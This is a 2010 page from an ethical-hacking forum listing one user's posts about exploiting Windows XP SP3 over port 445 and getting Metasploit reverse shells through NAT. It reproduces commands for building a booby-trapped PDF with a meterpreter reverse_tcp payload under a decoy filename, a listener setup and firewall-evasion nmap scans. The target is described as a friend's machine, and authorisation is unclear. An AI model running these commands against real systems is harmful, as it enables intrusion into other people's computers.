Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 44 guests and 2 members online
 
Advertisement

You are here: Home
EH-Net
May 19, 2013, 07:42:00 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
  Home Help Calendar Login Register  
  Show Posts
Pages: 1 2 3 [4] 5 6 ... 9
46  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: Metasploit - Win XP sp3 - port 445 exploit !! and Meta bug on: May 21, 2010, 01:24:36 PM
well i just tried to catch up any other service working at 445, 139

with no good result its the same however , at the first scan when i got port 5101 the amdog open ,139 , 445 but when i tried to scan again as my results they are under firewall and i know that my friend have Mikrotik server so thats maybe why its under the Mikrotik firewall

so i think if this target behind firewall and this ports on xp sp3 which patched already

i think its vulnerable target

however if i find exploit to go with the port 5101 right ?
47  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: Metasploit - Win XP sp3 - port 445 exploit !! and Meta bug on: May 21, 2010, 08:31:05 AM
NetBIOS is a binary protocol.   You can run the following nmap command to check for a few vulnerabilities.   There are also any number of scanners that will identify NetBios vulnerabilities. 

Code:
nmap -sV -PN <IP Address> -p 445,137,139 --script=smb-check-vulns.nse


thanks for the info i tried this with this results

nmap -sV -PN 10.0.0.3 -p 445,139 --script=smb-check-vulns.nse

Starting Nmap 5.00 ( http://nmap.org ) at 2010-05-21 13:27 Egypt Dayl
Interesting ports on 10.0.0.3:
PORT    STATE    SERVICE      VERSION
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds


and also tried to send Fin scan to bypass firewall with this result

nmap -sF -P0 10.0.0.3 -p 445

Starting Nmap 5.00 ( http://nmap.org ) at 2010-05-21 1
Interesting ports on 10.0.0.3:
PORT    STATE         SERVICE
445/tcp open|filtered microsoft-ds


and also with Xmas scan this is the result

nmap>nmap -sX -P0 10.0.0.3 -p 445

Starting Nmap 5.00 ( http://nmap.org )
Interesting ports on 10.0.0.3:
PORT    STATE         SERVICE
445/tcp open|filtered microsoft-ds
48  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: Metasploit - Win XP sp3 - port 445 exploit !! and Meta bug on: May 21, 2010, 08:23:30 AM
Pay close attention to what Ketchup told you.  When I mentioned banner grabbing, I wasn't specifically doing so, for 445.  It was a generalization, that is something you should be doing to any list you get from your initial scans, before trying to just jump in and exploit.

But Ketchup's advice is very valid, for your port 445 scenario.

yes i know Hayabusa but why i did it for port 445 only because i know that port 139 netbios not possible to exploit under windows xp sp3 patched system

i tried many times with no success :S

its on sp1 i think only
49  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: Metasploit - Win XP sp3 - port 445 exploit !! and Meta bug on: May 20, 2010, 04:02:26 PM
Sounds good.  Keep us posted.

i couldn't banner grabbing the service running under port 445 at the machine :S

tried telnet with no use
tried netcat with no info

what do u think ?
50  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: Metasploit - Win XP sp3 - port 445 exploit !! and Meta bug on: May 19, 2010, 03:45:18 PM
@rebrov -

Glad to see you're still hanging around, and learning!

That list shows open ports, and generically defined services.  Your next steps should be connecting to those ports, and banner grabbing / researching, to see what service versions, etc, are reported as running on those ports, then follow up with searches for vulnerabilities existing on those versions and services.


thanks for info i will try telnet or netcat for banner grabbing Smiley
For instance, you might find that some other service is actually using that port, and it's not really Microsoft ds on there, at all.  Conversely, you could be hitting a honeypot (if this were a real-life pentest,) where that port isn't really even running the exploitable service, but responds to queries as if it was.  You need to adequately try to determine what's running, not just gather a basic list of responding ports, and start attacking.   Wink

These are very tried and true principles for pentesting, and you need to do some digging on them, rather than just throwing a list of nmap reported open ports to the list.  We're here to help, and to answer educated questions, not to lead you through every step.  (No offense intended, just recommending you spend more time on this than simply a base nmap scan, followed by, "why doesn't an exploit work on 445?")

I understand that you're running a tool, like Metasploit, to perform these tests, but sometimes, you need to have a clearer understanding of the target system and it's services, before just throwing Metasploit and other tools at it, in the hopes that generically defined exploits will 'just work' as you'd like / expect them to.

Good luck, and as you continue, let us know what more you find.
51  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: how to penetrate pc through NAT ?? on: May 19, 2010, 03:27:42 PM
thanks alot buddy i fully understanded
52  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: Metasploit - Win XP sp3 - port 445 exploit !! and Meta bug on: May 19, 2010, 03:25:54 PM
I do believe that SP3 is vulnerable by default. 

http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx

Yes, you can exploit port 445 on an XP SP3 machine.  Bug, why are you just randomly sanding exploits against this machine?  Why not identify the vulnerability first?   Coincidentally, I find that the MS08-067 is the one most common false positives.

Not shown: 997 filtered ports
PORT     STATE SERVICE      VERSION
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
5101/tcp open  admdog?


thats what i got from Nmap

what do u think ?
53  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: how to penetrate pc through NAT ?? on: May 19, 2010, 05:36:56 AM
another question : if i dont have access to the router and i specified port 8080

as LPORT and as LHOST i assigned my WAN external ip


now when the reverse connection back again to my router which local ip will choose to pass the traffic !!!! because i think that all Lan ips should have port 80 open and allowed for incoming traffic from outside

second question what if i opened port and forwarded it to my local ip

and i did the same port to another ip !! ?

what should be happen ?

the router will flood the frame ( broadcast ) to all local ips except the one came from and when my ip gets the frame while im at handler listener mode i will receive it ??



what do u think ??
54  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: Metasploit - Win XP sp3 - port 445 exploit !! and Meta bug on: May 19, 2010, 03:59:11 AM
Are you sure your target is MS08-067 vulnerable?   Any chance it was patched?

well , its sp3 so i think its not Vulnerable since the MS08_067 exploit not working into sp3 patched system

thats why i ask about is there anyway to exploit port 445 at xp sp3 system ??

and what do u think about this bug

btw this bug also happened when i successfuly exploited vulnerable MS08_067 system after the exploit complete and session has been opened it disappeared :S dunno why this happen only in Metasploit 3.3.3

any idea ?
55  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Metasploit - Win XP sp3 - port 445 exploit !! and Meta bug on: May 18, 2010, 08:55:23 PM
well 1st of all : my first question is :

can't i exploit windows xp sp3 at port 445 Huh cuz itried many payloads reverse  with no use :S

so is there any way to exploit port 445 at xp sp3 ?

second while trying to exploit it via Metasploit i couldn't and the meta got bug and then disappear i took screenshot fast be4 it disappear here it is :




any idea ?
56  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: how to penetrate pc through NAT ?? on: May 18, 2010, 07:32:22 AM
Your router has two interface- external and internal. Each interface has a separate I.P address. When you use 'ipconfig', the I.P address of the default gateway you see there is its I.P address for your INTERNAL network. This address is not routable on the internet. Even my router can have the same internal I.P address as your router and we'll be able to communicate.

What the world sees is the I.P address of the external interface of your router. This I.P address is your unique I.P address on the internet. It's the one that's used when some other system wants to connect to you.

So in this case set LHOST to 41.x.x.x and forward LPORT from your router to your 10.0.0.167 machine.

I don't think that your I.P address basics are weak...it's just that they aren't strong Grin. Reading a IPv4 chapter from a good book will make your concepts clear.

well Smiley i already said i've taken CCNA course im at level 4 now Smiley

dun have to read ipv4 again :S studied it already at the 1st level

those levels that i already got Certificate on :

1-Network Fundamentals

2-Routing Protocols and Concepts

3-LAN Switching and Wireless

still need to pass the : 4-Accessing the WAN course

so i can go for the final CCNA exam Smiley

but whats make my info kinda weak that i didn't follow lvl 1  when i finish lvl i go for next and dont practice for the earlier lvls Smiley

thanks mate anyway
57  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: how to penetrate pc through NAT ?? on: May 18, 2010, 01:17:41 AM
LHOST should be the external IP address of your router and LPORT is the port 'forwarded' from your router to your internal machine. You can't use your local LAN I.P for LPORT because it's a private I.P address and private addresses aren't routable on the internet. The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for local networks.

10.0.0.0 - 10.255.255.255
172.16.0.0 - 172.31.255.255
192.168.0.0 - 192.168.255.255

Suppose your router has an external I.P address 172.16.1.1 ( I've used a private I.P address for this e.g as I don't want to offend anyone) and your computer's I.P address is 10.0.0.1
In this case you'll set your LHOST to 172.16.1.1 and your LPORT to a port forwarded by your router to your 10.0.0.1 computer.

Quote
i changed the LPORT to 80 in both steps cuz i think that router should pass the traffic to me because its port 80 and never be closed right ??
We normally use port 80 for LPORT because most firewalls allow 'outbound' traffic through this port and communication through this looks pretty innocuous. Though the victim's firewall will allow a reverse shell through port 80, you won't get it unless you forward port 80 from your router to your computer i.e you've to specifically allow 'inbound' port 80.


well thanks for the info

however i didn't figure out this part correctly


what u want to say is ... i should put the external ip of router

lets say my ip is 10.0.0.167 so the gateway of my network should be 10.0.0.1 it not should but most Administrators put the 1st ip after the network reserved for gateway
example :

10.0.0.0 = network
10.0.0.1 = gateway
10.0.0.2 = dns
10.0.0.167 = my ip

so the external ip u talking about is the gateway ?? 10.0.0.1 Huh

or the NAT ip that the router configured to translate the local operations over the internet to that NAT ip

when u configuring the NAT pool .... is that what u mean ?

because my gateway is 10.0.0.1 and my NAT (WAN) ip is 41.xxx.xxx.xxx

which one u mean but as my network knowledge it can't be the 10.0.0.1 since the gateway it will route my traffic to the WAN to the outside

but when im delivering packet from outside it will go through the WAN 41.xxx.xxx.xxx right !! ?

so as a Meta script i should assign the WAN ip as the reverse connect back ip and port forward same port listening to my local ip

what do u think  ?

we all share info and knowledge here and thanks mate for co-operating with me i hope u can reply ASAP

bye
58  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: how to penetrate pc through NAT ?? on: May 17, 2010, 11:41:41 PM
LHOST => 192.168.8.128

my question is : at the part--> set LHOST 192.168.8.128

i put my local LAN ip or my public NATTED ip Huh??

what might be the problem ??[/color]




Constructive criticism time...

You need to learn the differences between routable IP's and RFC 1918 addresses. (http://www.faqs.org/rfcs/rfc1918.html) RFC 1918 addresses would never be routable across the Internet. So while you placed the L(istening)HOST address, you made it into a Local Address on the 192,168. 8.x network. So unless both you and that victim were on the same network, it would never work. I suggest understanding the differences in addressing before even going further. Networking is a fundamental MUST UNDERSTAND if you're going to get involved with pentesting. I rank it as the TOP priority.

I suggest learning TCP/IP and routing so here is the freebie for the week: Juniper's Fast Track training program. It's free and informative for anyone seeking to understand networking. You don't need to necessarily want to aim for JNCIA certification but watching the content and reading the content will help you in the long run.

https://learningportal.juniper.net/juniper/user_fasttrack_home.aspx


thats why i ask doesn't mean i dont know Smiley

i do know that u can't if he outside thats whyi asked

but u still didn't answer my question if he in diff network outside remote network so my local ip wont work right ??

cuz after writing the script to the pdf malicious file when he activate it the script will look for the LHOST and its local ip will not go to outside cuz it will be impossible to search outside the script

thats why i asked what should i put instead of the LHOST !! ?

i should put the WAN ip my natted IP and with port forwarding the port i already put in the meta pdf script the reverse connection will know the way to my pc ,,,, thats what i think !

waiting for some one to fix my knowledge


and btw ; already passed 3 levels CCNA Smiley
59  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: how to penetrate pc through NAT ?? on: May 17, 2010, 09:07:48 PM
well ,,,, i have issue

i tried this client-side attack from metasploit 3.3.3.

and when im creating the pdf malicious file the window disappear ,,, why ?

while at the offensive-security site it was :

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf
FILENAME => BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455

msf exploit(adobe_utilprintf) > exploit

  • Handler binding to LHOST 0.0.0.0
  • Started reverse handler
  • Creating 'BestComputers-UpgradeInstructions.pdf' file...
  • Generated output file /pentest/exploits/framework3/data/exploits/BestComputers-UpgradeInstructions.pdf
  • Exploit completed, but no session was created.
msf exploit(adobe_utilprintf) >


why mine disappear ,, i can't even read the loading commands at the msf cuz its running very fast and then closed


anyway when i opened the msf directory and looked to the .pdf file i found it about 7 kb size



my question is : at the part--> set LHOST 192.168.8.128

i put my local LAN ip or my public NATTED ip Huh??

1st time i put my local lan ip its 10.0.0.167

then started the multi handler to make msf lestin to reverse connection from the remote target

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(handler) > exploit

  • Handler binding to LHOST 0.0.0.0
  • Started reverse handler
  • Starting the payload handler.[/color]

    then i deliverd it to the remote target with no response ,,,

    tip : i changed the LPORT to 80 in both steps cuz i think that router should pass the traffic to me because its port 80 and never be closed right ??

    what might be the problem ??


60  Ethical Hacking Discussions and Related Certifications / CEH - Certified Ethical Hacker / Re: how to penetrate pc through NAT ?? on: May 16, 2010, 05:19:20 PM
You do not need any expensive stuff to build your 'virtual' test lab. In fact most of the stuff in my lab is absolutely free. You can find various open source counterparts of commercial tools.
There are various 'free' virtualization products available like virtualbox, vmware player and vmware server. I'm a big fan of vmware products. Personally, I believe that vmware server will be enough for what you want to do. Vmware server is a stripped down version of the excellent commercial vmware workstation but contains almost all the basic features you'll require. You can download pre-built linux virtual machines from the vmware website http://www.vmware.com/appliances/directory/
There's also a free route to get Windows OS. Either you can download the OS from Microsoft's website which comes with around 3 month trial period. Furthermore, you can also download Windows XP SP2 virtual machine from  NIST's website http://www.offensive-security.com/metasploit-unleashed/windows-xp-machine-setup
As for the softwares like ftp, telnet daemons and webservers etc...well most of them are free anyway  Cheesy

Jhaddix and Laz3r have posted wonderful tutorials to build a virtual test lab. You can get them here:-
Network pentest lab setup    
Pentest Lab: Web Application Edition

Additionally, you can practice on ready made targets like De-ICE live disks, hackerdemia and pWnOS all of which are available here http://forums.heorot.net/  You also have LAMP security disks http://sourceforge.net/projects/lampsecurity/  Also try your hands at the 'Skillz' section of this forum http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/board,12.0/ They will test your limits.
There's also a topic here at EHNet which will direct you to more stuff for practicing http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,5043.0/


As for the other part of your question.
Teamviewer does not make you connect to the remote computer directly (Not until you both are on the same network). When you initiate a connection to a remote computer, you and the remote computer are in fact connected to the teamviewer server. So all the data flows through the server and you don't have to forward any ports or worry about the firewall rules  Roll Eyes

I hope that solved some of your problems Smiley
thanks alot for this inforamtion it helped alot i will check out the pentest lab to build my own 1 Smiley and try to practice more and more Smiley thanks buddy
Pages: 1 2 3 [4] 5 6 ... 9
Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.096 seconds with 21 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.